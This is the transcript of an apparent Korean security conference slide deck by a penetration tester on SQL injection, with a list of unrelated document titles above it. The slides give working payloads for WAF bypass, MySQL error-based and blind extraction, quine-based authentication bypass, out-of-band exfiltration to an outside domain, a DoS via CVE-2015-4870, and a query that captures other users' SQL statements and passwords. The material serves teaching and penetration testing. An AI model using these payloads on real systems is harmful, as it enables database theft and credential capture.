제목 레이아웃

Similar documents
10.ppt

Æí¶÷4-¼Ö·ç¼Çc03ÖÁ¾š

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

º¸µµ¿Â

제목을 입력하세요.

소만사 소개


F1-1(수정).ppt

untitled

untitled

DBMS & SQL Server Installation Database Laboratory

성인용-칼라-단면-수정1030

초보자를 위한 분산 캐시 활용 전략

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한

슬라이드 1

목차 BUG 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG ROLLUP/CUBE 절을포함하는질의는 SUBQUE

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

Microsoft PowerPoint - 10Àå.ppt

PowerPoint Template

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 183.8

FileMaker 15 ODBC 및 JDBC 설명서

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

13주-14주proc.PDF

Web Application Hosting in the AWS Cloud Contents 개요 가용성과 확장성이 높은 웹 호스팅은 복잡하고 비용이 많이 드는 사업이 될 수 있습니다. 전통적인 웹 확장 아키텍처는 높은 수준의 안정성을 보장하기 위해 복잡한 솔루션으로 구현

Voice Portal using Oracle 9i AS Wireless

untitled

untitled

MySQL-Ch10

105È£4fš

3 S Q L A n t i p a t t e r n s Trees/intro/parent.sql CREATE TABLE Comments ( comment_id SERIAL PRIMARY KEY, parent_id BIGINT UNSIGNED, comment TEXT

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

歯sql_tuning2

Portal_9iAS.ppt [읽기 전용]

PRO1_09E [읽기 전용]

MS-SQL SERVER 대비 기능

PowerPoint 프레젠테이션

2006_8_14 (8_17 updated) ms ¿ú(wgareg.exe) ºÐ¼® º¸°í¼�.hwp

FileMaker ODBC 및 JDBC 가이드

NoSQL

No Slide Title

결과보고서

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

AnnualReport_2015.pdf


untitled

The Basic Of Blind SQL Injection Sur3x5F - PRIDE NateOn : PRIDE in Sur3x5F All rights are reserved

Windows 8에서 BioStar 1 설치하기

Connection 8 22 UniSQLConnection / / 9 3 UniSQL OID SET


목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

untitled

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

ALTIBASE HDB Patch Notes

1차내지

Observational Determinism for Concurrent Program Security

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

ecorp-프로젝트제안서작성실무(양식3)

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대상프로그램대상환경 SQL Injection 중상 Absolu

5장 SQL 언어 Part II

Intra_DW_Ch4.PDF

초보자를 위한 ADO 21일 완성

Oracle Database 10g: Self-Managing Database DB TSC

Multi-pass Sieve를 이용한 한국어 상호참조해결 반-자동 태깅 도구

PowerPoint 프레젠테이션

sms_SQL.hwp

PowerPoint 프레젠테이션

WINDOW FUNCTION 의이해와활용방법 엑셈컨설팅본부 / DB 컨설팅팀정동기 개요 Window Function 이란행과행간의관계를쉽게정의할수있도록만든함수이다. 윈도우함수를활용하면복잡한 SQL 들을하나의 SQL 문장으로변경할수있으며반복적으로 ACCESS 하는비효율역

제20회_해킹방지워크샵_(이재석)

EDB 분석보고서 (04.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj

Stage 2 First Phonics

Interstage5 SOAP서비스 설정 가이드

DocsPin_Korean.pages

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

歯PLSQL10.PDF

Facebook API

문서 템플릿

PowerPoint Presentation

하나님의 선한 손의 도우심 이세상에서 가장 큰 축복은 하나님이 나와 함께 하시는 것입니다. 그 이 유는 하나님이 모든 축복의 근원이시기 때문입니다. 에스라서에 보면 하나님의 선한 손의 도우심이 함께 했던 사람의 이야기 가 나와 있는데 에스라 7장은 거듭해서 그 비결을

PowerPoint 프레젠테이션

Result Cache 동작원리및활용방안 엑셈컨설팅본부 /DB 컨설팅팀김철환 개요 ORACLE DBMS 를사용하는시스템에서 QUERY 성능은무엇보다중요한요소중하나이며그 성능과직접적인관련이있는것이 I/O 이다. 많은건수를 ACCESS 해야만원하는결과값을얻을수있는 QUER

DIY 챗봇 - LangCon

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

Cloud Friendly System Architecture

Intro to Servlet, EJB, JSP, WS

Dialog Box 실행파일을 Web에 포함시키는 방법

EDB 분석보고서 (06.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대프로그램대환경 File Upload 하 C

Microsoft Word - Blind Sql Injection.doc

FileMaker ODBC and JDBC Guide

Microsoft Word - junior.docx

Microsoft PowerPoint Python-DB

TITLE

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4

PCServerMgmt7

(Microsoft PowerPoint - NRMWFKPIIYBC [\310\243\310\257 \270\360\265\345])

< B1B9BEEEB5B6C7D85FB0ADC0C7B3EBC6AE4A2E687770>

< C4BFB8AEBEEEC6D0BDBA20BBE7B7CAC1FD5FB0C7C3E02E687770>

76 XSS 하 Huge-IT Slider admin.php XSS

금오공대 컴퓨터공학전공 강의자료

Transcription:

웹해킹이라고무시하는것들보소 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM

SQL Injection 끝나지않은위협 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM

Who am I 정도원 aka rubiya Penetration tester Web application bughuter Pwned 20+ wargame @kr_rubiya 백수 Jobless

How to find vulnerability? How to exploit vulnerability? Exploit more smartly MITM SQL Injection

What is SQL Injection SELECT * FROM users WHERE name = '" + username + "';

What is SQL Injection SELECT * FROM users WHERE name = FooBar ;

What is SQL Injection SELECT * FROM users WHERE name = 1 OR 1 = 1 ;

What is SQL Injection SELECT * FROM users WHERE name = 1 OR 1 = 1 ;

Easy to access

NT Web Technology Vulnerabilities

But

Why hard to prevent

Why hard to prevent

Why hard to prevent

Why hard to prevent

Why hard to prevent

Why hard to prevent

How to find sqli vuln?

How to find sqli vuln?

How to find sqli vuln?

How to find sqli vuln?

How about AEG?

How about AEG?

How about AEG?

How about AEG?

How to find sqli vuln?

How to find sqli vuln?

How to find sqli vuln?

How to find sqli vuln?

Indirect SQL Injection

Indirect SQL Injection

Indirect SQL Injection

Indirect SQL Injection

Web Application Firewall 웹어플리케이션을보호할목적으로개발된공격차단솔루션

Web Application Firewall 웹어플리케이션을보호할목적으로개발된공격차단솔루션

Web Application Firewall 패턴기반방화벽

Web Application Firewall 패턴기반방화벽 Pattern = or 1 = 1 and 1 = 1 1 = 1

Web Application Firewall 패턴기반방화벽 Pattern = or 1 = 1 or 2 = 2 and 1 = 1 1 = 1

Web Application Firewall 패턴기반방화벽 Pattern = or 1 = 1 and 1 = 1 1 = 1 or 2 = 2

Web Application Firewall 패턴기반방화벽 Pattern = or 1 = 1 or 3 = 3 and 1 = 1 1 = 1 or 2 = 2

Web Application Firewall ASP 에서는 %[00-FF] 범위를초과하면 % 를무시

Web Application Firewall ASP 에서는 %[00-FF] 범위를초과하면 % 를무시?id= UN%ION SE%LECT 1--;

Web Application Firewall ASP 에서는 %[00-FF] 범위를초과하면 % 를무시?id= UN%ION SE%LECT 1--;?id= UNION SELECT 1--;

SQL Injection + DDOS?

SQL Injection + DDOS?

How to exploit vulnerability? Classic SQL Injection Blind SQL Injection Error Based SQL Injection Error Based Blind SQL Injection Time Based Blind SQL Injection

Error Based SQL Injection 에러메세지를클라이언트에출력해줄때가능 원하는값을에러메세지에포함시키는기법 DBMS 마다공격방법이다름

Error Based SQL Injection - MSSQL

Error Based SQL Injection - MySQL Duplicate entry XPATH syntax error BIGINT value is out of range in

Error Based SQL Injection - MySQL Duplicate entry 1 group by mid(version(),rand())having min(1)# XPATH syntax error updatexml(0,concat(0xa,version()),0)# BIGINT value is out of range in --~(select*from(select@@version)f)#

Error Based Blind SQL Injection Query 결과값의 True/False 여부를알수없을때사용 에러발생시에예외처리가될때가능

Error Based Blind SQL Injection ascii(substr((select pw from users),1,1))=97

Error Based Blind SQL Injection select(select 96 union select ascii(substr((select pw from users),1,1))) select(select 97 union select ascii(substr((select pw from users),1,1)))

Error Based Blind SQL Injection select(select 96 union select ascii(substr((select pw from users),1,1))) 96,97 return -> error select(select 97 union select ascii(substr((select pw from users),1,1))) 97 return -> no error

Time Based Blind SQL Injection

Time Based Blind SQL Injection MySQL sleep(), benchmark() MSSQL waitfor delay, waitfor time Oracle dbms_lock.sleep()

Compounded SQL Injection SQLi + XSS SQLi + Authentication Bypass Out Of Band SQLi

SQLi + XSS Insert, Update 가가능할경우 Stored XSS 연계 Iframe 태그를통한브라우저 1-Day 공격유행

SQLi + XSS Insert, Update 가가능할경우 Stored XSS 연계 Iframe 태그를통한브라우저 1-Day 공격유행 INSERT INTO board(no,user,<script>evilcode</script>) UPDATE board SET content=<script>evilcode</script>

SQLi + Authentication Bypass Union SQL Injection 재귀적 return 값을통한인증우회

Union SQL Injection Object Injecton SSRF XML External Entity LFI / RFI

재귀적 return 값을통한인증우회

재귀적 return 값을통한인증우회 s = 's = %r\nprint(s%%s)' print(s%s)

재귀적 return 값을통한인증우회 SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

재귀적 return 값을통한인증우회 if(queryresult) if(queryresult == input) loginsuccess()

재귀적 return 값을통한인증우회?id=asd' union select 1,'admin',REPLACE(@v:='asd\' union select 1,\'admin\',REPLACE(@v:=\'2\',1+1,REPLACE(REPLACE(@v,\ '\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'))-- ',1+1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\''))--

재귀적 return 값을통한인증우회

Out Of Band SQLi 외부서버로의 Packet 전송 내부네트워크파일접근 SQL 서버에대한 DoS

Out Of Band SQLi DNS Query UTL_HTTP.REQUEST('http://' (select ) '.mydomain'); Access SMB file load_file('\\\\192.168.0.101\\aa');

DBMS 에대한 DoS BENCHMARK() Heavy Query CVE-2015-4870

CVE-2015-4870 select * from information_schema.tables procedure analyse((select*from(select 1)x),1);

Lord of SQL Injection

Lord of SQL Injection

Exploit more smartly Bitwise operation Blind SQL Injection UPDATE, INSERT Blind SQL Injection without modify data MITM SQL Injection

Blind SQL Injection 의단점 느리다. 로그가많이남는다.

Bitwise operation Blind SQL Injection ascii(substr((select pw from users),1,1))=97

Bitwise operation Blind SQL Injection substr( lpad( bin( ascii(substr((select pw from users),1,1)) ),8,0),1,1) = 1

Bitwise operation Blind SQL Injection substr( lpad( bin( 97 ),8,0),1,1) = 1

Bitwise operation Blind SQL Injection substr( lpad( 1100111,8,0),1,1) = 1

Bitwise operation Blind SQL Injection substr(01100111,1,1) = 1

Bitwise operation Blind SQL Injection substr(lpad(bin( ascii(substr((select pw from users),1,1)) ),7,0),1,1)

MITM SQL Injection Information_schema.processlist.info

Sniff Query? 회원가입 insert into users values( guest123,md5( mypass666 )) 로그인 select...where id= guest123 and pw=md5( mypass666 )

But

직접 Sniffing 하는게너무느리다면 DBMS 에게시키자! BENCHMARK(count,expr) @var_name = expr

SELECT benchmark(9999999, @query:=concat( @query,(select info from information_schema.processlist) ) )

Issues 반복된값을조회할때 Query 의결과값이 cache 됨 select 권한만가지고는 cache 를끌수없음 한번조회된 query 가무수히조회됨

Proof of Concept SELECT @query:=0x3a3a UNION SELECT @tmp:=0x20 UNION SELECT benchmark(500000,(@tmp:= (SELECT Group_concat(info) FROM information_schema.processlist WHERE info NOT LIKE 0x254d49544d5f53514c495f50574e25 or sleep(0)/*mitm_sqli_pwn*/))^(if((@tmp!=0x00)&&(@query NOT LIKE concat(0x253a3a,replace(@tmp,0x0a,0x5c5c6e),0x3a3a25)), @query:=concat(@query,replace(@tmp,0x0a,0x5c6e),0x3a3a),0 ))) UNION SELECT @query limit 3,1

Proof of Concept

Tank You RUBIYA805@GMAIL.COM